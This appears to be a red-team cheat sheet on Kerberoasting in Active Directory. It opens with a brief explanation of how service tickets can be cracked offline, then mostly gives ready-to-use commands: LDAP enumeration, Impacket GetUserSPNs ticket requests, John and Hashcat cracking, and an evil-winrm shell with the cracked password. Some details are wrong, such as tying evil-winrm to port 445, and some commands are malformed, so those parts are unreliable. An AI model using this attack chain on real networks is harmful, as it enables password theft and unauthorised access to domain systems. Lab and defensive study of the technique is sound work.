Kerberoast

Theory

When asking the KDC (Key Distribution Center) for a Service Ticket (ST), the requesting user needs to send a valid TGT (Ticket Granting Ticket) and the service name (sname) of the service wanted. If the TGT is valid, and if the service exists, the KDC sends the ST to the requesting user.

Multiple formats are accepted for the sname field: servicePrincipalName (SPN), sAMAccountName (SAN), userPrincipalName (UPN), etc. (see Kerberos tickets).

The ST is encrypted with the requested service account's NT hash. If an attacker has a valid TGT and knows a service (by its SAN or SPN), he can request a ST for this service and crack it offline later in an attempt to retrieve that service account's password.

In most situations, services accounts are machine accounts, which have very complex, long, and random passwords. But if a service account, with a human-defined password, has a SPN set, attackers can request a ST for this service and attempt to crack it offline. This is Kerberoasting.

---

Practical

Unlike ASREProasting, this attack can only be carried out with a prior foothold (valid domain credentials), except in the Kerberoasting without pre-authentication scenario.

Recon

sudo nmap -sS ctf01.root-me.org

User Enumeration

LDAP

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Request ST

The Impacket script GetUserSPNs (Python) can perform all the necessary steps to request a ST for a service given its SPN (or name) and valid domain credentials.

The Kerberoasting attack can be conducted without knowing any SPN of the target account, since a service ticket can be request for as long as the service's SAN (sAMAccountName) is known. (swarm.ptsecurity.com)

Nota bene, Kerberos can deliver service tickets even if the service has no SPN at all, but then the service's SAN must end with $, and in this case it's hard to know for sure if the service's password is defined by a human. Kerberoast attacks usually target user accounts with at least one SPN (servicePrincipalName) since they probably have human-defined passwords (sources: Twitter and [MS-KILE] section 3.3.5.1.1).

Impacket

For all users

python3GetUserSPNs.py -outputfile ~/Desktop/kerberoastables.txt -dc-ip <Host> '<domain>/<username>:<username>' -request

For specific user

python3 GetUserSPNs.py -dc-ip <Host> '<domain>/<username>:<password>' -request-user <name> -outputfile ~/Desktop/kerberos.txt

Crack Hash

John

sudo john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt ~/Desktop/kerberos.txt

Hashcat

hashcat -m 13100 kerberoastables.txt $wordlist

Sync Local Time with the Server

Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great) Note: If you get the above error while requesting a ST then you need to sync your local machine time with that of the remote server time.

sudo timedatectl set-ntp off
sudo rdate -n <server ip>

// Turn on ntp
sudo timedatectl set-ntp on

Get Shell Access

For getting the shell access, the port 445 in the server need to be open.

sudo docker run --rm -ti --name evil-winrm  oscarakaelvis/evil-winrm -i <Host IP> -u <username> -p '<password>'

---

REFERENCES

• https://www.thehacker.recipes/a-d/movement/kerberos/kerberoast

• https://nored0x.github.io/red-teaming/Kerberos-Attacks-Kerbroasting/

• https://medium.com/@danieldantebarnes/fixing-the-kerberos-sessionerror-krb-ap-err-skew-clock-skew-too-great-issue-while-kerberoasting-b60b0fe20069